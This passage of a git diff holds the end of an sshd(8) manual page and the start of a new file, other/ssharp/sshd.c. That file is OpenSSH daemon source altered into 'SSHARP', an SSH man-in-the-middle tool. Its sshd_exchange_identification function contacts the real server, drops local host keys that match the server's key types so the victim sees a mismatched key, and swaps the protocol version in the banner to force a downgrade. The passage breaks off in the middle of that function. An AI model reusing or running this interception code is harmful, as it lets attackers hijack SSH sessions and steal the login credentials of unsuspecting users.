ghost +users and consuming server resources. +.Pp +The default is +.Dq yes +(to send keepalives), and the server will notice +if the network goes down or the client host reboots. +This avoids infinitely hanging sessions. +.Pp +To disable keepalives, the value should be set to +.Dq no +in both the server and the client configuration files. +.It Cm KerberosAuthentication +Specifies whether Kerberos authentication is allowed. +This can be in the form of a Kerberos ticket, or if +.Cm PasswordAuthentication +is yes, the password provided by the user will be validated through +the Kerberos KDC. +To use this option, the server needs a +Kerberos servtab which allows the verification of the KDC's identity. +Default is +.Dq yes . +.It Cm KerberosOrLocalPasswd +If set then if password authentication through Kerberos fails then +the password will be validated via any additional local mechanism +such as +.Pa /etc/passwd . +Default is +.Dq yes . +.It Cm KerberosTgtPassing +Specifies whether a Kerberos TGT may be forwarded to the server. +Default is +.Dq no , +as this only works when the Kerberos KDC is actually an AFS kaserver. +.It Cm KerberosTicketCleanup +Specifies whether to automatically destroy the user's ticket cache +file on logout. +Default is +.Dq yes . +.It Cm KeyRegenerationInterval +In protocol version 1, the ephemeral server key is automatically regenerated +after this many seconds (if it has been used). +The purpose of regeneration is to prevent +decrypting captured sessions by later breaking into the machine and +stealing the keys. +The key is never stored anywhere. +If the value is 0, the key is never regenerated. +The default is 3600 (seconds). +.It Cm ListenAddress +Specifies the local addresses +.Nm +should listen on. +The following forms may be used: +.Pp +.Bl -item -offset indent -compact +.It +.Cm ListenAddress +.Sm off +.Ar host No | Ar IPv4_addr No | Ar IPv6_addr +.Sm on +.It +.Cm ListenAddress +.Sm off +.Ar host No | Ar IPv4_addr No : Ar port +.Sm on +.It +.Cm ListenAddress +.Sm off +.Oo +.Ar host No | Ar IPv6_addr Oc : Ar port +.Sm on +.El +.Pp +If +.Ar port +is not specified, +.Nm +will listen on the address and all prior +.Cm Port +options specified. The default is to listen on all local +addresses. Multiple +.Cm ListenAddress +options are permitted. Additionally, any +.Cm Port +options must precede this option for non port qualified addresses. +.It Cm LoginGraceTime +The server disconnects after this time if the user has not +successfully logged in. +If the value is 0, there is no time limit. +The default is 600 (seconds). +.It Cm LogLevel +Gives the verbosity level that is used when logging messages from +.Nm sshd . +The possible values are: +QUIET, FATAL, ERROR, INFO, VERBOSE and DEBUG. +The default is INFO. +Logging with level DEBUG violates the privacy of users +and is not recommended. +.It Cm MACs +Specifies the available MAC (message authentication code) algorithms. +The MAC algorithm is used in protocol version 2 +for data integrity protection. +Multiple algorithms must be comma-separated. +The default is +.Pp +.Bd -literal + ``hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com, + hmac-sha1-96,hmac-md5-96'' +.Ed +.It Cm MaxStartups +Specifies the maximum number of concurrent unauthenticated connections to the +.Nm +daemon. +Additional connections will be dropped until authentication succeeds or the +.Cm LoginGraceTime +expires for a connection. +The default is 10. +.Pp +Alternatively, random early drop can be enabled by specifying +the three colon separated values +.Dq start:rate:full +(e.g., "10:30:60"). +.Nm +will refuse connection attempts with a probability of +.Dq rate/100 +(30%) +if there are currently +.Dq start +(10) +unauthenticated connections. +The probability increases linearly and all connection attempts +are refused if the number of unauthenticated connections reaches +.Dq full +(60). +.It Cm PAMAuthenticationViaKbdInt +Specifies whether PAM challenge response authentication is allowed. This +allows the use of most PAM challenge response authentication modules, but +it will allow password authentication regardless of whether +.Cm PasswordAuthentication +is disabled. +The default is +.Dq no . +.It Cm PasswordAuthentication +Specifies whether password authentication is allowed. +The default is +.Dq yes . +.It Cm PermitEmptyPasswords +When password authentication is allowed, it specifies whether the +server allows login to accounts with empty password strings. +The default is +.Dq no . +.It Cm PermitRootLogin +Specifies whether root can login using +.Xr ssh 1 . +The argument must be +.Dq yes , +.Dq without-password , +.Dq forced-commands-only +or +.Dq no . +The default is +.Dq yes . +.Pp +If this option is set to +.Dq without-password +password authentication is disabled for root. +.Pp +If this option is set to +.Dq forced-commands-only +root login with public key authentication will be allowed, +but only if the +.Ar command +option has been specified +(which may be useful for taking remote backups even if root login is +normally not allowed). All other authentication methods are disabled +for root. +.Pp +If this option is set to +.Dq no +root is not allowed to login. +.It Cm PidFile +Specifies the file that contains the process identifier of the +.Nm +daemon. +The default is +.Pa /var/run/sshd.pid . +.It Cm Port +Specifies the port number that +.Nm +listens on. +The default is 22. +Multiple options of this type are permitted. +See also +.Cm ListenAddress . +.It Cm PrintLastLog +Specifies whether +.Nm +should print the date and time when the user last logged in. +The default is +.Dq yes . +.It Cm PrintMotd +Specifies whether +.Nm +should print +.Pa /etc/motd +when a user logs in interactively. +(On some systems it is also printed by the shell, +.Pa /etc/profile , +or equivalent.) +The default is +.Dq yes . +.It Cm Protocol +Specifies the protocol versions +.Nm +should support. +The possible values are +.Dq 1 +and +.Dq 2 . +Multiple versions must be comma-separated. +The default is +.Dq 2,1 . +.It Cm PubkeyAuthentication +Specifies whether public key authentication is allowed. +The default is +.Dq yes . +Note that this option applies to protocol version 2 only. +.It Cm ReverseMappingCheck +Specifies whether +.Nm +should try to verify the remote host name and check that +the resolved host name for the remote IP address maps back to the +very same IP address. +The default is +.Dq no . +.It Cm RhostsAuthentication +Specifies whether authentication using rhosts or /etc/hosts.equiv +files is sufficient. +Normally, this method should not be permitted because it is insecure. +.Cm RhostsRSAAuthentication +should be used +instead, because it performs RSA-based host authentication in addition +to normal rhosts or /etc/hosts.equiv authentication. +The default is +.Dq no . +This option applies to protocol version 1 only. +.It Cm RhostsRSAAuthentication +Specifies whether rhosts or /etc/hosts.equiv authentication together +with successful RSA host authentication is allowed. +The default is +.Dq no . +This option applies to protocol version 1 only. +.It Cm RSAAuthentication +Specifies whether pure RSA authentication is allowed. +The default is +.Dq yes . +This option applies to protocol version 1 only. +.It Cm ServerKeyBits +Defines the number of bits in the ephemeral protocol version 1 server key. +The minimum value is 512, and the default is 768. +.It Cm StrictModes +Specifies whether +.Nm +should check file modes and ownership of the +user's files and home directory before accepting login. +This is normally desirable because novices sometimes accidentally leave their +directory or files world-writable. +The default is +.Dq yes . +.It Cm Subsystem +Configures an external subsystem (e.g., file transfer daemon). +Arguments should be a subsystem name and a command to execute upon subsystem +request. +The command +.Xr sftp-server 8 +implements the +.Dq sftp +file transfer subsystem. +By default no subsystems are defined. +Note that this option applies to protocol version 2 only. +.It Cm SyslogFacility +Gives the facility code that is used when logging messages from +.Nm sshd . +The possible values are: DAEMON, USER, AUTH, LOCAL0, LOCAL1, LOCAL2, +LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7. +The default is AUTH. +.It Cm UseLogin +Specifies whether +.Xr login 1 +is used for interactive login sessions. +Note that +.Xr login 1 +is never used for remote command execution. +The default is +.Dq no . +.It Cm X11DisplayOffset +Specifies the first display number available for +.Nm sshd Ns 's +X11 forwarding. +This prevents +.Nm +from interfering with real X11 servers. +The default is 10. +.It Cm X11Forwarding +Specifies whether X11 forwarding is permitted. +The default is +.Dq no . +Note that disabling X11 forwarding does not improve security in any +way, as users can always install their own forwarders. +.It Cm XAuthLocation +Specifies the location of the +.Xr xauth 1 +program. +The default is +.Pa /usr/X11R6/bin/xauth . +.El +.Sh LOGIN PROCESS +When a user successfully logs in, +.Nm +does the following: +.Bl -enum -offset indent +.It +If the login is on a tty, and no command has been specified, +prints last login time and +.Pa /etc/motd +(unless prevented in the configuration file or by +.Pa $HOME/.hushlogin ; +see the +.Sx FILES +section). +.It +If the login is on a tty, records login time. +.It +Checks +.Pa /etc/nologin ; +if it exists, prints contents and quits +(unless root). +.It +Changes to run with normal user privileges. +.It +Sets up basic environment. +.It +Reads +.Pa $HOME/.ssh/environment +if it exists. +.It +Changes to user's home directory. +.It +If +.Pa $HOME/.ssh/rc +exists, runs it; else if +.Pa /etc/sshrc +exists, runs +it; otherwise runs xauth. +The +.Dq rc +files are given the X11 +authentication protocol and cookie in standard input. +.It +Runs user's shell or command. +.El +.Sh AUTHORIZED_KEYS FILE FORMAT +The +.Pa $HOME/.ssh/authorized_keys +file lists the RSA keys that are +permitted for RSA authentication in protocol version 1 +Similarly, the +.Pa $HOME/.ssh/authorized_keys2 +file lists the DSA and RSA keys that are +permitted for public key authentication (PubkeyAuthentication) +in protocol version 2. +.Pp +Each line of the file contains one +key (empty lines and lines starting with a +.Ql # +are ignored as +comments). +Each RSA public key consists of the following fields, separated by +spaces: options, bits, exponent, modulus, comment. +Each protocol version 2 public key consists of: +options, keytype, base64 encoded key, comment. +The options fields +are optional; its presence is determined by whether the line starts +with a number or not (the option field never starts with a number). +The bits, exponent, modulus and comment fields give the RSA key for +protocol version 1; the +comment field is not used for anything (but may be convenient for the +user to identify the key). +For protocol version 2 the keytype is +.Dq ssh-dss +or +.Dq ssh-rsa . +.Pp +Note that lines in this file are usually several hundred bytes long +(because of the size of the RSA key modulus). +You don't want to type them in; instead, copy the +.Pa identity.pub , +.Pa id_dsa.pub +or the +.Pa id_rsa.pub +file and edit it. +.Pp +The options (if present) consist of comma-separated option +specifications. +No spaces are permitted, except within double quotes. +The following option specifications are supported: +.Bl -tag -width Ds +.It Cm from="pattern-list" +Specifies that in addition to RSA authentication, the canonical name +of the remote host must be present in the comma-separated list of +patterns +.Pf ( Ql * +and +.Ql ? +serve as wildcards). +The list may also contain +patterns negated by prefixing them with +.Ql ! ; +if the canonical host name matches a negated pattern, the key is not accepted. +The purpose +of this option is to optionally increase security: RSA authentication +by itself does not trust the network or name servers or anything (but +the key); however, if somebody somehow steals the key, the key +permits an intruder to log in from anywhere in the world. +This additional option makes using a stolen key more difficult (name +servers and/or routers would have to be compromised in addition to +just the key). +.It Cm command="command" +Specifies that the command is executed whenever this key is used for +authentication. +The command supplied by the user (if any) is ignored. +The command is run on a pty if the connection requests a pty; +otherwise it is run without a tty. +Note that if you want a 8-bit clean channel, +you must not request a pty or should specify +.Cm no-pty . +A quote may be included in the command by quoting it with a backslash. +This option might be useful +to restrict certain RSA keys to perform just a specific operation. +An example might be a key that permits remote backups but nothing else. +Note that the client may specify TCP/IP and/or X11 +forwarding unless they are explicitly prohibited. +.It Cm environment="NAME=value" +Specifies that the string is to be added to the environment when +logging in using this key. +Environment variables set this way +override other default environment values. +Multiple options of this type are permitted. +.It Cm no-port-forwarding +Forbids TCP/IP forwarding when this key is used for authentication. +Any port forward requests by the client will return an error. +This might be used, e.g., in connection with the +.Cm command +option. +.It Cm no-X11-forwarding +Forbids X11 forwarding when this key is used for authentication. +Any X11 forward requests by the client will return an error. +.It Cm no-agent-forwarding +Forbids authentication agent forwarding when this key is used for +authentication. +.It Cm no-pty +Prevents tty allocation (a request to allocate a pty will fail). +.It Cm permitopen="host:port" +Limit local +.Li ``ssh -L'' +port forwarding such that it may only connect to the specified host and +port. Multiple +.Cm permitopen +options may be applied separated by commas. No pattern matching is +performed on the specified hostnames, they must be literal domains or +addresses. +.El +.Ss Examples +1024 33 12121.\|.\|.\|312314325 ylo@foo.bar +.Pp +from="*.niksula.hut.fi,!pc.niksula.hut.fi" 1024 35 23.\|.\|.\|2334 ylo@niksula +.Pp +command="dump /home",no-pty,no-port-forwarding 1024 33 23.\|.\|.\|2323 backup.hut.fi +.Pp +permitopen="10.2.1.55:80",permitopen="10.2.1.56:25" 1024 33 23.\|.\|.\|2323 +.Sh SSH_KNOWN_HOSTS FILE FORMAT +The +.Pa /etc/ssh_known_hosts , +.Pa /etc/ssh_known_hosts2 , +.Pa $HOME/.ssh/known_hosts , +and +.Pa $HOME/.ssh/known_hosts2 +files contain host public keys for all known hosts. +The global file should +be prepared by the administrator (optional), and the per-user file is +maintained automatically: whenever the user connects from an unknown host +its key is added to the per-user file. +.Pp +Each line in these files contains the following fields: hostnames, +bits, exponent, modulus, comment. +The fields are separated by spaces. +.Pp +Hostnames is a comma-separated list of patterns ('*' and '?' act as +wildcards); each pattern in turn is matched against the canonical host +name (when authenticating a client) or against the user-supplied +name (when authenticating a server). +A pattern may also be preceded by +.Ql ! +to indicate negation: if the host name matches a negated +pattern, it is not accepted (by that line) even if it matched another +pattern on the line. +.Pp +Bits, exponent, and modulus are taken directly from the RSA host key; they +can be obtained, e.g., from +.Pa /etc/ssh_host_key.pub . +The optional comment field continues to the end of the line, and is not used. +.Pp +Lines starting with +.Ql # +and empty lines are ignored as comments. +.Pp +When performing host authentication, authentication is accepted if any +matching line has the proper key. +It is thus permissible (but not +recommended) to have several lines or different host keys for the same +names. +This will inevitably happen when short forms of host names +from different domains are put in the file. +It is possible +that the files contain conflicting information; authentication is +accepted if valid information can be found from either file. +.Pp +Note that the lines in these files are typically hundreds of characters +long, and you definitely don't want to type in the host keys by hand. +Rather, generate them by a script +or by taking +.Pa /etc/ssh_host_key.pub +and adding the host names at the front. +.Ss Examples +.Bd -literal +closenet,.\|.\|.\|,130.233.208.41 1024 37 159.\|.\|.93 closenet.hut.fi +cvs.openbsd.org,199.185.137.3 ssh-rsa AAAA1234.....= +.Ed +.Sh FILES +.Bl -tag -width Ds +.It Pa /etc/sshd_config +Contains configuration data for +.Nm sshd . +This file should be writable by root only, but it is recommended +(though not necessary) that it be world-readable. +.It Pa /etc/ssh_host_key, /etc/ssh_host_dsa_key, /etc/ssh_host_rsa_key +These three files contain the private parts of the host keys. +These files should only be owned by root, readable only by root, and not +accessible to others. +Note that +.Nm +does not start if this file is group/world-accessible. +.It Pa /etc/ssh_host_key.pub, /etc/ssh_host_dsa_key.pub, /etc/ssh_host_rsa_key.pub +These three files contain the public parts of the host keys. +These files should be world-readable but writable only by +root. +Their contents should match the respective private parts. +These files are not +really used for anything; they are provided for the convenience of +the user so their contents can be copied to known hosts files. +These files are created using +.Xr ssh-keygen 1 . +.It Pa /etc/primes +Contains Diffie-Hellman groups used for the "Diffie-Hellman Group Exchange". +.It Pa /var/run/sshd.pid +Contains the process ID of the +.Nm +listening for connections (if there are several daemons running +concurrently for different ports, this contains the pid of the one +started last). +The content of this file is not sensitive; it can be world-readable. +.It Pa $HOME/.ssh/authorized_keys +Lists the RSA keys that can be used to log into the user's account. +This file must be readable by root (which may on some machines imply +it being world-readable if the user's home directory resides on an NFS +volume). +It is recommended that it not be accessible by others. +The format of this file is described above. +Users will place the contents of their +.Pa identity.pub +files into this file, as described in +.Xr ssh-keygen 1 . +.It Pa $HOME/.ssh/authorized_keys2 +Lists the public keys (RSA or DSA) that can be used to log into the user's account. +This file must be readable by root (which may on some machines imply +it being world-readable if the user's home directory resides on an NFS +volume). +It is recommended that it not be accessible by others. +The format of this file is described above. +Users will place the contents of their +.Pa id_dsa.pub +and/or +.Pa id_rsa.pub +files into this file, as described in +.Xr ssh-keygen 1 . +.It Pa "/etc/ssh_known_hosts" and "$HOME/.ssh/known_hosts" +These files are consulted when using rhosts with RSA host +authentication to check the public key of the host. +The key must be listed in one of these files to be accepted. +The client uses the same files +to verify that it is connecting to the correct remote host. +These files should be writable only by root/the owner. +.Pa /etc/ssh_known_hosts +should be world-readable, and +.Pa $HOME/.ssh/known_hosts +can but need not be world-readable. +.It Pa "/etc/ssh_known_hosts2" and "$HOME/.ssh/known_hosts2" +These files are consulted when using protocol version 2 hostbased +authentication to check the public key of the host. +The key must be listed in one of these files to be accepted. +The client uses the same files +to verify that it is connecting to the correct remote host. +These files should be writable only by root/the owner. +.Pa /etc/ssh_known_hosts2 +should be world-readable, and +.Pa $HOME/.ssh/known_hosts2 +can but need not be world-readable. +.It Pa /etc/nologin +If this file exists, +.Nm +refuses to let anyone except root log in. +The contents of the file +are displayed to anyone trying to log in, and non-root connections are +refused. +The file should be world-readable. +.It Pa /etc/hosts.allow, /etc/hosts.deny +If compiled with +.Sy LIBWRAP +support, tcp-wrappers access controls may be defined here as described in +.Xr hosts_access 5 . +.It Pa $HOME/.rhosts +This file contains host-username pairs, separated by a space, one per +line. +The given user on the corresponding host is permitted to log in +without password. +The same file is used by rlogind and rshd. +The file must +be writable only by the user; it is recommended that it not be +accessible by others. +.Pp +If is also possible to use netgroups in the file. +Either host or user +name may be of the form +@groupname to specify all hosts or all users +in the group. +.It Pa $HOME/.shosts +For ssh, +this file is exactly the same as for +.Pa .rhosts . +However, this file is +not used by rlogin and rshd, so using this permits access using SSH only. +.It Pa /etc/hosts.equiv +This file is used during +.Pa .rhosts +authentication. +In the simplest form, this file contains host names, one per line. +Users on +those hosts are permitted to log in without a password, provided they +have the same user name on both machines. +The host name may also be +followed by a user name; such users are permitted to log in as +.Em any +user on this machine (except root). +Additionally, the syntax +.Dq +@group +can be used to specify netgroups. +Negated entries start with +.Ql \&- . +.Pp +If the client host/user is successfully matched in this file, login is +automatically permitted provided the client and server user names are the +same. +Additionally, successful RSA host authentication is normally required. +This file must be writable only by root; it is recommended +that it be world-readable. +.Pp +.Sy "Warning: It is almost never a good idea to use user names in" +.Pa hosts.equiv . +Beware that it really means that the named user(s) can log in as +.Em anybody , +which includes bin, daemon, adm, and other accounts that own critical +binaries and directories. +Using a user name practically grants the user root access. +The only valid use for user names that I can think +of is in negative entries. +.Pp +Note that this warning also applies to rsh/rlogin. +.It Pa /etc/shosts.equiv +This is processed exactly as +.Pa /etc/hosts.equiv . +However, this file may be useful in environments that want to run both +rsh/rlogin and ssh. +.It Pa $HOME/.ssh/environment +This file is read into the environment at login (if it exists). +It can only contain empty lines, comment lines (that start with +.Ql # ) , +and assignment lines of the form name=value. +The file should be writable +only by the user; it need not be readable by anyone else. +.It Pa $HOME/.ssh/rc +If this file exists, it is run with /bin/sh after reading the +environment files but before starting the user's shell or command. +If X11 spoofing is in use, this will receive the "proto cookie" pair in +standard input (and +.Ev DISPLAY +in environment). +This must call +.Xr xauth 1 +in that case. +.Pp +The primary purpose of this file is to run any initialization routines +which may be needed before the user's home directory becomes +accessible; AFS is a particular example of such an environment. +.Pp +This file will probably contain some initialization code followed by +something similar to: +.Bd -literal + if read proto cookie; then + echo add $DISPLAY $proto $cookie | xauth -q - + fi +.Ed +.Pp +If this file does not exist, +.Pa /etc/sshrc +is run, and if that +does not exist either, xauth is used to store the cookie. +.Pp +This file should be writable only by the user, and need not be +readable by anyone else. +.It Pa /etc/sshrc +Like +.Pa $HOME/.ssh/rc . +This can be used to specify +machine-specific login-time initializations globally. +This file should be writable only by root, and should be world-readable. +.El +.Sh AUTHORS +OpenSSH is a derivative of the original and free +ssh 1.2.12 release by Tatu Ylonen. +Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, +Theo de Raadt and Dug Song +removed many bugs, re-added newer features and +created OpenSSH. +Markus Friedl contributed the support for SSH +protocol versions 1.5 and 2.0. +.Sh SEE ALSO +.Xr scp 1 , +.Xr sftp 1 , +.Xr sftp-server 8 , +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr rlogin 1 , +.Xr rsh 1 +.Rs +.%A T. Ylonen +.%A T. Kivinen +.%A M. Saarinen +.%A T. Rinne +.%A S. Lehtinen +.%T "SSH Protocol Architecture" +.%N draft-ietf-secsh-architecture-07.txt +.%D January 2001 +.%O work in progress material +.Re +.Rs +.%A M. Friedl +.%A N. Provos +.%A W. A. Simpson +.%T "Diffie-Hellman Group Exchange for the SSH Transport Layer Protocol" +.%N draft-ietf-secsh-dh-group-exchange-00.txt +.%D January 2001 +.%O work in progress material +.Re diff --git a/other/ssharp/sshd.c b/other/ssharp/sshd.c new file mode 100644 index 0000000..985e3b8 --- /dev/null +++ b/other/ssharp/sshd.c @@ -0,0 +1,1573 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * This program is the ssh daemon. It listens for connections from clients, + * and performs authentication, executes use commands or shell, and forwards + * information to/from the application to the user client over an encrypted + * connection. This can also handle forwarding of X11, TCP/IP, and + * authentication agent connections. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * SSH2 implementation: + * + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: sshd.c,v 1.195 2001/04/15 16:58:03 markus Exp $"); + +#include +#include +#include + +#include "ssh.h" +#include "ssh1.h" +#include "ssh2.h" +#include "xmalloc.h" +#include "rsa.h" +#include "sshpty.h" +#include "packet.h" +#include "mpaux.h" +#include "log.h" +#include "servconf.h" +#include "uidswap.h" +#include "compat.h" +#include "buffer.h" +#include "cipher.h" +#include "kex.h" +#include "key.h" +#include "dh.h" +#include "myproposal.h" +#include "authfile.h" +#include "pathnames.h" +#include "atomicio.h" +#include "canohost.h" +#include "auth.h" +#include "misc.h" +#include "dispatch.h" + +#ifdef LIBWRAP +#include +#include +int allow_severity = LOG_INFO; +int deny_severity = LOG_WARNING; +#endif /* LIBWRAP */ + +#ifndef O_NOCTTY +#define O_NOCTTY 0 +#endif + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif + +/* Server configuration options. */ +ServerOptions options; + +/* Name of the server configuration file. */ +char *config_file_name = _PATH_SERVER_CONFIG_FILE; + +/* + * Flag indicating whether IPv4 or IPv6. This can be set on the command line. + * Default value is AF_UNSPEC means both IPv4 and IPv6. + */ +#ifdef IPV4_DEFAULT +int IPv4or6 = AF_INET; +#else +int IPv4or6 = AF_UNSPEC; +#endif + +/* + * Debug mode flag. This can be set on the command line. If debug + * mode is enabled, extra debugging output will be sent to the system + * log, the daemon will not go to background, and will exit after processing + * the first connection. + */ +int debug_flag = 0; + +/* Flag indicating that the daemon is being started from inetd. */ +int inetd_flag = 0; + +/* Flag indicating that sshd should not detach and become a daemon. */ +int no_daemon_flag = 0; + +/* debug goes to stderr unless inetd_flag is set */ +int log_stderr = 0; + +/* Saved arguments to main(). */ +char **saved_argv; +int saved_argc; + +/* + * The sockets that the server is listening; this is used in the SIGHUP + * signal handler. + */ +#define MAX_LISTEN_SOCKS 16 +int listen_socks[MAX_LISTEN_SOCKS]; +int num_listen_socks = 0; + +/* + * the client's version string, passed by sshd2 in compat mode. if != NULL, + * sshd will skip the version-number exchange + */ +char *client_version_string = NULL; +char *server_version_string = NULL; + +/* for rekeying XXX fixme */ +Kex *xxx_kex; + +/* + * Any really sensitive data in the application is contained in this + * structure. The idea is that this structure could be locked into memory so + * that the pages do not get written into swap. However, there are some + * problems. The private key contains BIGNUMs, and we do not (in principle) + * have access to the internals of them, and locking just the structure is + * not very useful. Currently, memory locking is not implemented. + */ +struct { + Key *server_key; /* ephemeral server key */ + Key *ssh1_host_key; /* ssh1 host key */ + Key **host_keys; /* all private host keys */ + int have_ssh1_key; + int have_ssh2_key; + u_char ssh1_cookie[SSH_SESSION_KEY_LENGTH]; +} sensitive_data; + +/* + * Flag indicating whether the RSA server key needs to be regenerated. + * Is set in the SIGALRM handler and cleared when the key is regenerated. + */ +int key_do_regen = 0; + +/* This is set to true when SIGHUP is received. */ +int received_sighup = 0; + +/* session identifier, used by RSA-auth */ +u_char session_id[16]; + +/* same for ssh2 */ +u_char *session_id2 = NULL; +int session_id2_len = 0; + +/* record remote hostname or ip */ +u_int utmp_len = MAXHOSTNAMELEN; + +/* Prototypes for various functions defined later in this file. */ +void do_ssh1_kex(void); +void do_ssh2_kex(void); + +void ssh_dh1_server(Kex *, Buffer *_kexinit, Buffer *); +void ssh_dhgex_server(Kex *, Buffer *_kexinit, Buffer *); + +/* + * Close all listening sockets + */ +void +close_listen_socks(void) +{ + int i; + for (i = 0; i < num_listen_socks; i++) + close(listen_socks[i]); + num_listen_socks = -1; +} + +/* + * Signal handler for SIGHUP. Sshd execs itself when it receives SIGHUP; + * the effect is to reread the configuration file (and to regenerate + * the server key). + */ +void +sighup_handler(int sig) +{ + received_sighup = 1; + signal(SIGHUP, sighup_handler); +} + +/* + * Called from the main program after receiving SIGHUP. + * Restarts the server. + */ +void +sighup_restart(void) +{ + log("Received SIGHUP; restarting."); + close_listen_socks(); + execv(saved_argv[0], saved_argv); + log("RESTART FAILED: av[0]='%.100s', error: %.100s.", saved_argv[0], strerror(errno)); + exit(1); +} + +/* + * Generic signal handler for terminating signals in the master daemon. + * These close the listen socket; not closing it seems to cause "Address + * already in use" problems on some machines, which is inconvenient. + */ +void +sigterm_handler(int sig) +{ + log("Received signal %d; terminating.", sig); + close_listen_socks(); + unlink(options.pid_file); + exit(255); +} + +/* + * SIGCHLD handler. This is called whenever a child dies. This will then + * reap any zombies left by exited c. + */ +void +main_sigchld_handler(int sig) +{ + int save_errno = errno; + int status; + + while (waitpid(-1, &status, WNOHANG) > 0) + ; + + signal(SIGCHLD, main_sigchld_handler); + errno = save_errno; +} + +/* + * Signal handler for the alarm after the login grace period has expired. + */ +void +grace_alarm_handler(int sig) +{ + /* Close the connection. */ + packet_close(); + + /* Log error and exit. */ + fatal("Timeout before authentication for %s.", get_remote_ipaddr()); +} + +/* + * Signal handler for the key regeneration alarm. Note that this + * alarm only occurs in the daemon waiting for connections, and it does not + * do anything with the private key or random state before forking. + * Thus there should be no concurrency control/asynchronous execution + * problems. + */ +void +generate_ephemeral_server_key(void) +{ + u_int32_t rand = 0; + int i; + + verbose("Generating %s%d bit RSA key.", + sensitive_data.server_key ? "new " : "", options.server_key_bits); + if (sensitive_data.server_key != NULL) + key_free(sensitive_data.server_key); + sensitive_data.server_key = key_generate(KEY_RSA1, + options.server_key_bits); + verbose("RSA key generation complete."); + + for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++) { + if (i % 4 == 0) + rand = arc4random(); + sensitive_data.ssh1_cookie[i] = rand & 0xff; + rand >>= 8; + } + arc4random_stir(); +} + +void +key_regeneration_alarm(int sig) +{ + int save_errno = errno; + signal(SIGALRM, SIG_DFL); + errno = save_errno; + key_do_regen = 1; +} + +int SSH2_mim_only = 0; +char *SSH2_mim_cipher = NULL; + +void +sshd_exchange_identification(int sock_in, int sock_out) +{ + int i, mismatch, r; + int remote_major, remote_minor; + int major = 1, minor = 99; + char *s; + char buf[256]; /* Must not be larger than remote_version. */ + char remote_version[256]; /* Must be at least as big as buf. */ + char cbuf[1024]; + struct sockaddr_in dst, local; + int peer; + + dstaddr(sock_in, &dst); + dst.sin_family = AF_INET; + + memset(&local, 0, sizeof(local)); + local.sin_family = AF_INET; + + snprintf(remote_version, sizeof(remote_version), "%s", + SSH_VERSION); + + + /* SSHARP */ + memset(cbuf, 0, sizeof(cbuf)); + do { + if ((peer=socket_connect_b((struct sockaddr*)&dst, sizeof(dst), + SSHARP_MINPORT)) < 0) + break; + + /* For new SSH2 MiM, do not mess with the banner, + * look for supported SSH2 keys */ + if (SSH2_mim_only) { + while (cbuf[0] != '\n') + read(peer, cbuf, 1); + + writen(peer, "SSH-2.00-OpenSSH_2.3.0\n", 23); + r = readn(peer, cbuf, 200); + if (r < 0) + break; + /* Kill 0-bytes */ + cbuf[r] = 0; --r; + for (; r >= 0; --r) { + if (cbuf[r] == 0) + cbuf[r] = 'X'; + } + /* If server speaks DSS only, use RSA and other way + * around */ + if (strstr(cbuf, "ssh-dss")&&!strstr(cbuf, "ssh-rsa")) { + for(i=0; i < options.num_host_key_files; i++) { + Key *key = sensitive_data.host_keys[i]; + if (key == NULL) + continue; + if (key->type == KEY_DSA) + sensitive_data.host_keys[i] = 0; + } + SSH2_mim_cipher = "ssh-rsa"; + } + if (strstr(cbuf, "ssh-rsa")&&!strstr(cbuf, "ssh-dss")) { + for(i=0; i < options.num_host_key_files; i++) { + Key *key = sensitive_data.host_keys[i]; + if (key == NULL) + continue; + if (key->type == KEY_RSA) + sensitive_data.host_keys[i] = 0; + } + SSH2_mim_cipher = "ssh-dss"; + } + + if (SSH2_mim_cipher) + log("ssharp: Already found new cipher: %s", SSH2_mim_cipher); + close(peer); + major = 2; + minor = 0; + break; + } + + memset(buf, 0, sizeof(buf)); + if (read(peer, buf, sizeof(buf)-1) < 0) + break; + close(peer); + if (sscanf(buf, "SSH-%d.%d-%[^\n]\n", &major, &minor, + remote_version) != 3) { + major = 2; + minor = 0; + snprintf(remote_version, sizeof(remote_version), "%s", + SSH_VERSION); + } + /* SSHARP: do the banner-hack,make ssh1 ssh2 and ssh2 ssh1 :) */ + minor = major == 2 ? 5 : 0; + major = major == 1 ? 2 : 1; + } while (0); + + snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s\n", major, minor, remote_version); + server_version_string = xstrdup(buf); + + if (client_version_string == NULL) { + /* Send our protocol version identification. */ + if (atomicio(write, sock_out, server_version_string, strlen(server_version_string)) + != strlen(server_version_string)) { + log("Could not write ident string to %s.", get_remote_ipaddr()); + fatal_cleanup(); + } + + /* Read other 